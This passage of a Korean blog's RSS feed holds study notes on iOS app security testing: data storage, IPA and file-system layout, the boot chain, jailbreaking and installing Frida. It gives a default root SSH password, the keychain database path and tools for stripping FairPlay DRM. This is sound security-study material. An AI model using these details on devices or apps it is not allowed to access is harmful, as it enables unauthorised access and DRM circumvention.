<li><strong>Cache.db 데이터 베이스</strong> 확인 가능<br>

</li>
</ul>
<h2 id="5-etc">5. ETC</h2>
<h3 id="1-realm">1) <strong>Realm</strong></h3>
<ul>
<li>ios 나 안드로이드에서 사용하는 작은 데이터베이스</li>
<li>데이터베이스 확인하기 위해서 Realm Studio 설치 필요</li>
<li><strong>default.realm 데이터 베이스</strong> 확인 가능</li>
</ul>
<h3 id="2-couchbase-lite">2) <strong>Couchbase Lite</strong></h3>
<ul>
<li>Couchbase Lite는 경량화, 임베디드 문서 기반. 동기화할 수 있는 데이터 베이스 엔진</li>
<li><strong>db.splite3 데이터 베이스</strong> 확인 가능</li>
</ul>
<h3 id="3-yapdatabase">3) <strong>YapDatabase</strong></h3>
<ul>
<li>YapDatabase는 SQLite 를 기반으로 구축된 collection/key/value 저장소</li>
</ul>
<br>

<h2 id="6-대응방안">6. 대응방안</h2>
<ul>
<li>자격증명, 개인정보 , 인증정보 등 디바이스 내 저장하지 않아야함</li>
<li>저장해야 할 경우, 반드시 암호화하여 저장</li>
</ul>
]]></description>
        </item>
        <item>
            <title><![CDATA[[iOS] iOS 애플리케이션 구조]]></title>
            <link>https://velog.io/@hyeon_iyy/iOS-iOS-%EC%95%A0%ED%94%8C%EB%A6%AC%EC%BC%80%EC%9D%B4%EC%85%98-%EA%B5%AC%EC%A1%B0</link>
            <guid>https://velog.io/@hyeon_iyy/iOS-iOS-%EC%95%A0%ED%94%8C%EB%A6%AC%EC%BC%80%EC%9D%B4%EC%85%98-%EA%B5%AC%EC%A1%B0</guid>
            <pubDate>Fri, 27 Jan 2023 14:48:27 GMT</pubDate>
            <description><![CDATA[<h2 id="1-ios-애플리케이션-구조">1. iOS 애플리케이션 구조</h2>
<h3 id="1-구조">1) 구조</h3>
<ul>
<li>/Applications/$app_name.app<ul>
<li>탈옥 애플리케이션 디렉토리</li>
</ul>
</li>
<li>/var/mobile/Containers/Data/Application/$uuid<ul>
<li>ios에서 제공하는 샌드 박스로 인해 탈옥 되지 않은 디바이스의 특정 앱에서만 접근 가능</li>
</ul>
</li>
<li>/var/Keychain/keycahin-2.db<ul>
<li>iOS KeyChain</li>
<li>sqlite데이터베이스로 구성된 파일이며 모든 데이터는 암호화됨(리버싱 잘하면 복호화 가능)</li>
</ul>
</li>
</ul>
<br>

<h2 id="2-mach-o-및-fairplay-drm-소개">2. Mach-O 및 Fairplay DRM 소개</h2>
<h3 id="1-mach-o-바이너리-파일">1) Mach-O 바이너리 파일</h3>
<ul>
<li>iOS디바이스에 설치된 앱은 Mach-O 바이너리 파일의 형태</li>
<li>Mach-O (Mach object format)</li>
<li>앱스토어에서 다운한 앱은 FairPlay DRM을 통해 암호화 되어 있음<ul>
<li>로더에 의해 런타임 중에 해독됨 (이후, 실행된걸 유저에게 보여줌)</li>
</ul>
</li>
</ul>
<h3 id="2-mach-o-바이너리-파일-형식">2) Mach-O 바이너리 파일 형식</h3>
<ul>
<li>리버싱 과정에서 3가지 섹션으로 나뉨</li>
</ul>
<ol>
<li>Header<ul>
<li>Mach-O 파일 설명</li>
</ul>
</li>
<li>Load Commands<ul>
<li>세그먼트와 섹션을 설명</li>
</ul>
</li>
<li>Data<ul>
<li>실제 데이터, 하나이상의 세그먼트에 실제 데이터를 포함</li>
</ul>
</li>
</ol>
<br>


<h3 id="3-fairplay-drm">3) Fairplay DRM</h3>
<ul>
<li>앱스토어에서 다운한 앱은 Fairplay DRM을 이용해 암호화 및 보호</li>
<li>암호화된 바이너리 파일은 커널의 Mach-O 로더에 의해 런타임 중 해독</li>
<li>DRM적용 여부는 Otool 도구를 사용하여 확인 가능</li>
<li>바이너리 분석에서는 DRM 해독 필수 ! (Class-dump, frida-ios-dump 도구를 통해 해독 가능)</li>
</ul>
]]></description>
        </item>
        <item>
            <title><![CDATA[[iOS] iOS 파일 시스템 이해]]></title>
            <link>https://velog.io/@hyeon_iyy/iOS-%ED%8C%8C%EC%9D%BC-%EC%8B%9C%EC%8A%A4%ED%85%9C-%EC%9D%B4%ED%95%B4</link>
            <guid>https://velog.io/@hyeon_iyy/iOS-%ED%8C%8C%EC%9D%BC-%EC%8B%9C%EC%8A%A4%ED%85%9C-%EC%9D%B4%ED%95%B4</guid>
            <pubDate>Wed, 25 Jan 2023 06:51:13 GMT</pubDate>
            <description><![CDATA[<h2 id="1-ios-파일-시스템apfs">1. iOS 파일 시스템(APFS)</h2>
<h3 id="1-apfs">1) APFS</h3>
<ul>
<li>Apple File System 약자</li>
<li>파일 시스템 : 파일 자료를 쉽게 발견 및 접근 하도록 보관하는 체제</li>
<li>기존 HFS+(정해진 용량만 사용가능)를 대체하는 새로운 파일 시스템<ul>
<li>APFS 는 컨테이너 방법을 사용하여 컨테이너 내의 파티션 용량 조절</li>
</ul>
</li>
<li>암호화 기능이 추가되어 파일 시스템 암호화</li>
</ul>
<br>


<h2 id="2-ipa-파일-구조압축-해제">2. IPA 파일 구조(압축 해제)</h2>
<h3 id="1-ipa-파일-구조">1) IPA 파일 구조</h3>
<ol>
<li><p><strong>Payload</strong> </p>
<ul>
<li>애플리케이션의 모든 데이터가 포함됨</li>
</ul>
</li>
<li><p>Payload/Application.app</p>
<ul>
<li>컴파일 된 애플리케이션, 앱에서 사용하는 리소스, info.plist 등이 포함됨</li>
</ul>
</li>
<li><p>Payload/Application.app/AppBinary</p>
<ul>
<li>실행 가능한 바이너리 파일</li>
</ul>
</li>
<li><p>Payload/Application.app/_Code</p>
<ul>
<li>애플의 개발자 인증서로 만든 애플리케이션 서명</li>
</ul>
</li>
<li><p><strong>iTunesMetadata.plist</strong></p>
<ul>
<li>개발자 이름, 번들 식별자, 저작권 정보 등의 세부 정보 포함</li>
</ul>
</li>
</ol>
<h3 id="2-ssh-접속">2) SSH 접속</h3>
<ul>
<li>3utools를 사용하여 ssh 접속을 시도 (putty사용)</li>
<li>아이디 : root / 비밀번호 : alpine</li>
</ul>
<h3 id="3-ipa-앱-추출-방법">3) ipa 앱 추출 방법</h3>
<ul>
<li>ipainstaller -b <strong>[bundleid]</strong><ul>
<li>/private/var/mobile/Documents/[bundleid] : 앱이 추출됨</li>
</ul>
</li>
<li>해당 파일의 압축을 풀고 디렉토리 확인 및 분석</li>
<li>바이너리 파일 (크기가 가장 큼)<ul>
<li>앱스토어에서 다운 받는 경우 DRM이 걸려 있음</li>
</ul>
</li>
</ul>
<br>

<hr>
<br>

<h2 id="3-ipa-파일-구조">3. IPA 파일 구조</h2>
<h3 id="1-ipa-구조-컨테이너">1) IPA 구조 컨테이너</h3>
<ol>
<li><span style="color:olivedrab">Bundel Container</span><ul>
<li>/var/containers/Bundle/Application/$uuid</li>
<li>앱의 번들(리소스를 가진 디렉토리)을 저장</li>
</ul>
</li>
<li><span style="color:olivedrab">Data Container</span><ul>
<li>/var/mobile/Containers/Data/Application</li>
<li>앱과 사용자 데이터 저장, 서브 디렉토리 가짐</li>
</ul>
</li>
<li><span style="color:olivedrab">iCloud Container</span><ul>
<li>/private/var/mobile/Library/Mobile Documents</li>
<li>iCloud와 관련된 데이터, iCloud 지원 애플리케이션</li>
</ul>
</li>
</ol>
<h3 id="2-컨테이너-내-파일-구조">2) 컨테이너 내 파일 구조</h3>
<ol>
<li><p><strong>AppName.app/</strong></p>
<ul>
<li>앱의 번들로 일반적으로 쓰기 불가능/읽기만 가능</li>
<li>사용자에게 노출,생성, 다운로드한 파일 포함</li>
<li>Data Container 내에 위치</li>
</ul>
</li>
<li><p><strong>Documents/</strong></p>
<ul>
<li>사용자가 생성한 문서/데이터와 외부 앱에서 받은 파일저장</li>
<li>iTunes 나 iCloud 에 백업됨</li>
</ul>
</li>
<li><p><strong>Library/</strong></p>
<ul>
<li>유저 데이터 및 임시 파일을 제외한 모든 파일관리</li>
<li>application support, Caches 를 주로 사용</li>
<li>Library/Preferences 폴더에 앱에 대한 중요 설정이 담겨 있으므로 확인 필수</li>
</ul>
</li>
<li><p><strong>Tmp/</strong></p>
<ul>
<li>임시파일을 위한 저장소</li>
</ul>
</li>
</ol>
<h3 id="3-루트-사용자-홈-디렉토리">3) 루트 사용자 홈 디렉토리</h3>
<ul>
<li>symbolic link를 이용한 루트 사용자 홈 디렉토리<ul>
<li>/var/root</li>
</ul>
</li>
<li>기본 루트 사용자 홈 디렉토리<ul>
<li>/private/var/root</li>
</ul>
</li>
<li>루트 사용자의 루트 디렉토리<ul>
<li>/</li>
</ul>
</li>
</ul>
<h3 id="4-환경변수-path">4) 환경변수 PATH</h3>
<ul>
<li>#echo $PATH : 환경변수 설정가능한 PATH 확인 가능</li>
<li>환경 변수 디렉토리 등록하기 위해서 “<strong>PATH=&amp;PATH:/경로”</strong> 명령어로 등록 가능</li>
</ul>
]]></description>
        </item>
        <item>
            <title><![CDATA[[iOS] 취약점 진단 환경 구성]]></title>
            <link>https://velog.io/@hyeon_iyy/iOS-%EC%B7%A8%EC%95%BD%EC%A0%90-%EC%A7%84%EB%8B%A8-%ED%99%98%EA%B2%BD-%EA%B5%AC%EC%84%B1</link>
            <guid>https://velog.io/@hyeon_iyy/iOS-%EC%B7%A8%EC%95%BD%EC%A0%90-%EC%A7%84%EB%8B%A8-%ED%99%98%EA%B2%BD-%EA%B5%AC%EC%84%B1</guid>
            <pubDate>Mon, 16 Jan 2023 13:17:34 GMT</pubDate>
            <description><![CDATA[<h2 id="1-애플-계정-생성">1. 애플 계정 생성</h2>
<ul>
<li>애플 계정을 사용해 탈옥 및 Cydia 설치</li>
</ul>
<br>

<h2 id="2-jailbreak소개">2. Jailbreak소개</h2>
<ul>
<li>iOS 탈옥은 샌드박스 제한을 풀어 타 회사에서 사용하는 서명되지 않은 코드를 실행할 수 있게 하는 과정</li>
<li>일반 모바일 사용자에서 루트 사용자로 권한 상승</li>
<li>탈옥은 불법 아닌 합법 !</li>
</ul>
<ol>
<li>Untethered Jailbreak : 영구적인 탈옥, 요즘은 불가능함</li>
<li>Tethered Jailbreak : 영구적 X, 재부팅 시 탈옥 풀림, 재부팅하면 복구 모드로 시작됨</li>
<li>Semi-tethered Jailbreak : 영구적 X, 재부팅 시 탈옥 풀림, 재부팅하면 정상적으로 부팅 (현재 탈옥에 해당됨)</li>
<li>Semi-untethered Jailbreak : 영구적 X, 재부팅 시 탈옥 풀림, 재부팅 가능, 앱을 사용하여 재탈옥 가능 (unCover)</li>
</ol>
<ul>
<li>Jailbreak 가능한 환경
<a href="https://www.reddit.com/r/jailbreak/wiki/escapeplan/guides/jailbreakcharts/">https://www.reddit.com/r/jailbreak/wiki/escapeplan/guides/jailbreakcharts/</a>
<img src="https://velog.velcdn.com/images/hyeon_iyy/post/ce148cab-8eff-427d-8fe8-ee28801360b9/image.png" alt=""></li>
</ul>
<br>



<h2 id="3-jailbreak-실습">3. Jailbreak 실습</h2>
<ul>
<li>Bootra1n 활용하여 Jailbreak 실습<ul>
<li>USB를 사용하여 작은 운영체제를 설치</li>
</ul>
</li>
<li>USB를 부팅 파일을 사용해 부팅USB로 제작 (Rufus 툴 사용)</li>
<li>단말기를 연결 및 USB로 부팅해 탈옥 진행 (패스워드 삭제해야함)</li>
<li>부팅 파일 다운로드
<a href="https://github.com/asineth0/checkn1x/releases/tag/1.1.7">https://github.com/asineth0/checkn1x/releases/tag/1.1.7</a></li>
</ul>
<br>

<hr>
<h2 id="4-cydia-소개-및-추천-트윅">4. Cydia 소개 및 추천 트윅</h2>
<h3 id="1-cydia">1) Cydia</h3>
<ul>
<li>앱 스토어에서 이용할 수 없는 기능이 포함된 비공식 앱 스토어</li>
<li>Jailbreak를 통해 설치 가능</li>
<li>Tweak : iOS가 지원하지 못하는 기능을 Cydia를 이용해 설치하는 프로그램</li>
</ul>
<h3 id="2-tweak">2) Tweak</h3>
<ul>
<li>apple FIle Conduit”2” :  로컬 컴퓨터에서 아이폰 내부 폴더 접근 가능</li>
<li>Filza File Manager : 아이폰, 아이패드, 아이팟 터치용 강력한 파일 관리자</li>
<li>AppSync Unified : iOS 디바이스에 서명되지 않은 ipa패키지를 설치 가능</li>
<li>MTerminal : 모바일 터미널 환경</li>
<li>Darwin CC Tools : Otool 도구를 사용하기 위해 설치</li>
<li>OpenSSH : ssh 접근</li>
<li>Frida : 프리다 서버 설치</li>
</ul>
]]></description>
        </item>
        <item>
            <title><![CDATA[[iOS] Cydia에 frida 16.0.8 설치 에러 해결]]></title>
            <link>https://velog.io/@hyeon_iyy/iOS-Cydia%EC%97%90-frida-16.0.8-%EC%84%A4%EC%B9%98-%EC%97%90%EB%9F%AC-%ED%95%B4%EA%B2%B0</link>
            <guid>https://velog.io/@hyeon_iyy/iOS-Cydia%EC%97%90-frida-16.0.8-%EC%84%A4%EC%B9%98-%EC%97%90%EB%9F%AC-%ED%95%B4%EA%B2%B0</guid>
            <pubDate>Sun, 15 Jan 2023 15:02:28 GMT</pubDate>
            <description><![CDATA[<p>최신 버전의 frida 16.0.8을 cydia를 통해 설치하려고 할 때, 기존과 다른 압축형식으로 인해 에러가 발생하는 경우로 해결방법을 작성함.</p>
<h2 id="환경세팅">환경세팅</h2>
<ul>
<li>ios 14.4 버전의 탈옥된 기기</li>
<li>아이폰 8 (jailbroken)</li>
<li>cydia에서 frida 설치 시 에러 발생</li>
</ul>
<br>

<h2 id="발생-에러">발생 에러</h2>
<img src="https://velog.velcdn.com/images/hyeon_iyy/post/28ad8c91-5f12-4666-ad91-b85be2bbe3e6/image.png" width="40%" height="40%">


<blockquote>
<p>dpkg-deb --control subprocess returned error exit status 2
Sub-process /usr/libexec/cydia/cydo returned an error code (1)</p>
</blockquote>
<p>새로운 frida 16.0.8은 ios의 dpkg에서 지원하지 않는 zst를 사용하여 압축됨</p>
<br>

<hr>
<h2 id="해결-방안">해결 방안</h2>
<p>&lt;frida 16.0.8 설치 시&gt;</p>
<pre><code>iPhone:/frida root# dpkg -i frida_16.0.8_iphoneos-arm.deb
dpkg-deb: error: archive &#39;frida_16.0.8_iphoneos-arm.deb&#39; uses unknown compression for member &#39;control.tar.zst&#39;, giving up
dpkg: error processing archive frida_16.0.8_iphoneos-arm.deb (--install):
 dpkg-deb --control subprocess returned error exit status 2
Errors were encountered while processing:
 frida_16.0.8_iphoneos-arm.deb
</code></pre><ul>
<li>동일한 에러 발생 </li>
</ul>
<hr>
<br>

<h3 id="1-다른-버전의-1601-프리다-설치">1. 다른 버전의 16.0.1 프리다 설치</h3>
<pre><code>iPhone:/frida root# dpkg -i frida_16.0.1_iphoneos-arm.deb
Selecting previously unselected package re.frida.server.
(Reading database ... 1759 files and directories currently installed.)
Preparing to unpack frida_16.0.1_iphoneos-arm.deb ...
Unpacking re.frida.server (16.0.1) ...
Setting up re.frida.server (16.0.1) ...
![](https://velog.velcdn.com/images/hyeon_iyy/post/e5929ea0-ba66-43d1-99e7-10453773e7b4/image.PNG)
</code></pre><ul>
<li>에러 해결 및 프리다 설치 완료</li>
<li><a href="https://github.com/frida/frida/releases/tag/16.0.1">https://github.com/frida/frida/releases/tag/16.0.1</a> 에서 끝까지 스크롤하여 iphoneos_xx.deb를 확인</li>
<li>복사하고 &quot;dpkg -i xxx.deb&quot;를 통해 설치 가능</li>
</ul>
<br>

<h3 id="2-zst를-통한-xz압축을-사용하여-재압축-후-설치">2. zst를 통한 xz압축을 사용하여 재압축 후 설치</h3>
<pre><code>mkdir frida_16.0.8_iphoneos-arm
cd frida_16.0.8_iphoneos-arm
ar -x ../frida_16.0.8_iphoneos-arm.deb
zstd -d *.zst
xz *.tar
ar r frida_16.0.8_iphoneos-arm-repacked.deb debian-binary control.tar.xz data.tar.xz</code></pre><p>1) &quot;frida_16.0.8_iphoneos-arm.deb&quot; 를 xz압축을 이용하여 재 압축</p>
<pre><code># dpkg -i frida_16.0.8_iphoneos-arm-repacked.deb
(Reading database ... 2530 files and directories currently installed.)
Preparing to unpack frida_16.0.8_iphoneos-arm-repacked.deb ...
Unpacking re.frida.server (16.0.8) over (16.0.7) ...
/Library/LaunchDaemons/re.frida.server.plist: Operation now in progress
Setting up re.frida.server (16.0.8) ...</code></pre><p>2) &quot;frida_16.0.8_iphoneos-arm-repacked.deb&quot;를 가져와 dpkg -i 통해 설치</p>
<br>


<h2 id="해결완료">해결완료</h2>
<ul>
<li>frida-ps 를 통해 정상적으로 단말기 앱 정보 확인 가능 <img src="https://velog.velcdn.com/images/hyeon_iyy/post/67def4dc-ceea-444c-87fd-4dde18fe85ad/image.png" width="80%" height="80%">
</li>
</ul>
]]></description>
        </item>
        <item>
            <title><![CDATA[[iOS] iOS 소개와 구조]]></title>
            <link>https://velog.io/@hyeon_iyy/iOS-%EC%86%8C%EA%B0%9C%EC%99%80-%EA%B5%AC%EC%A1%B0-s9alts34</link>
            <guid>https://velog.io/@hyeon_iyy/iOS-%EC%86%8C%EA%B0%9C%EC%99%80-%EA%B5%AC%EC%A1%B0-s9alts34</guid>
            <pubDate>Sat, 14 Jan 2023 06:46:10 GMT</pubDate>
            <description><![CDATA[<h2 id="1-ios-소개">1. iOS 소개</h2>
<ul>
<li>애플의 모바일 운영체제</li>
<li>애플에서 개발한 오픈소스 Unix 운영체제인 Darwin 기반</li>
<li>iOS 버전에 따라 지원 모델이 다르기 때문에, 유의하고 단말기 준비</li>
</ul>
<br>

<h2 id="2-ios-애플리케이션-구조">2. iOS 애플리케이션 구조</h2>
<h3 id="1-구조">1) 구조</h3>
<ul>
<li>계층 구조로 앱은 하드웨어와 직접 통신하지 않음</li>
<li>정의된 시스템 인터페이스를 통해 하드웨어와 통신</li>
</ul>
<ol>
<li>Cocoa Touch : 모든 애플리케이션에 인프라 제공 (주로 앱 인터페이스 담당)</li>
<li>Media Layer : 그래픽, 오디오 비디오를 표시하는 라이브러리 </li>
<li>Core Services : 시스템의 다른 서비스를 애플리케이션에 제공(네트워크, 위치), 앱의 필수 기능제공</li>
<li>Core OS : 나머지 상위계층에서 작업을 실행하는데 사용되는 라이브러리</li>
</ol>
<br>

<h2 id="3-ios-보안-모델">3. iOS 보안 모델</h2>
<ul>
<li>하드웨어 수준에서 보안을 제공</li>
</ul>
<h3 id="1-주요기능">1) 주요기능</h3>
<ul>
<li>보안 구조를 하드웨어, 운영체제, 애플리케이션 레벨로 계층화</li>
<li>애플리케이션 샌드박스</li>
<li>하드웨어/펌웨어 레벨에서 바로 암호화</li>
<li>암호화를 통한 데이터 보호</li>
<li>코드 서명</li>
</ul>
<h3 id="2-ios-보안-부트-체인">2) iOS 보안 부트 체인</h3>
<ul>
<li>보안 부트 체인 매커니즘을 사용하여 부트 프로세스에서 보안을 제공</li>
<li>부트 수준에서 감염 가능성 때문</li>
<li>각 단계별로 검사를 통해 위변조 검증</li>
<li>iOS 가 확인된 애플 디바이스에서만 실행될 수 있음</li>
</ul>
<p><img src="https://velog.velcdn.com/images/hyeon_iyy/post/c026a6b6-fe0c-48de-8083-7afc5507032a/image.png" alt=""></p>
<h3 id="3-보안-부트-체인의-상세-과정">3) 보안 부트 체인의 상세 과정</h3>
<p><strong>1. Boot ROM</strong></p>
<ul>
<li>초기단계이며 업데이트 또는 변경이 불가</li>
<li>애플 루트 인증서가 포함되어 있어 LLB가 올바르게 서명되어 있는지 검증</li>
<li>LLB가 검증되지 못하면 DFU(공장 초기화?) 모드로 진입/ 탈옥이 잘못되었을 경우</li>
</ul>
<p><strong>2. LOW Level Bootloader</strong></p>
<ul>
<li>Boot ROM 단계에서 LLB 서명 유효한 이후 실행되는 단계</li>
<li>업데이트 가능 / 하드웨어와 가까운 코드</li>
<li>iBoot를 로드하기 전에 펌웨어 서명 검증함</li>
<li>iBoot가 검증되지 못하면 Recovery(파일 유지 + 업그레이드/재설치)모드 진입</li>
</ul>
<p><strong>3. iBoot</strong></p>
<ul>
<li>LLB단계에서 iBoot 서명이 유효하면 실행</li>
<li>커널을 시작하기 전 서명 검증 / 실패하면 Recovery 모드 진입</li>
</ul>
<p><br><br></p>
<h2 id="4-샌드박스와-코드서명">4. 샌드박스와 코드서명</h2>
<h3 id="1-샌드박스">1) 샌드박스</h3>
<ul>
<li>샌드박스는 <strong>ios접근 제어 기술로 커널에서 실행</strong></li>
<li>앱 손상 시 <strong>시스템과 사용자의 데이터 손상을 방지</strong>하는 목적</li>
<li>애플리케이션이 관련 없는 다른 데이터에 접근 방지 , 권한 분리 (탈옥 할 경우 취약하게 됨)</li>
<li>앱이 손상될 경우 중요한 시스템까지 영향 및 손상을 줄 수 있기때문에, 샌드박스를 이용해 보안함</li>
</ul>
<h3 id="2-앱-코드서명">2) 앱 코드서명</h3>
<ul>
<li>애플이 서명한 코드만 실행되도록 DRM 시스템 구현</li>
<li>앱 스토어에서 서명하지 않은 앱은 설치 불가 (앱 설치는 런타임 시 코드서명 검사 실행)</li>
<li>Xcode를 사용해 앱 코드 서명을 수행</li>
<li>애플 스토어에 앱을 출시하기 위해서는 애플 서명 인증서 구매 필수 !</li>
</ul>
<br>

<h2 id="5-ios-생명주기">5. iOS 생명주기</h2>
<ul>
<li>Not running (실행 중 아님)</li>
<li>Inactive (비활성)</li>
<li>Active (활성)<ul>
<li>Foground 에서 실행되어 이벤트 받음</li>
</ul>
</li>
<li>Background (백그라운드)<ul>
<li>사용자 상호작용 없이 코드 실행</li>
</ul>
</li>
<li>Suspended (일시중단)<ul>
<li>백그라운드 상태로 메모리 존재하지만 코드 실행하지 않음</li>
</ul>
</li>
</ul>
]]></description>
        </item>
    </channel>
</rss>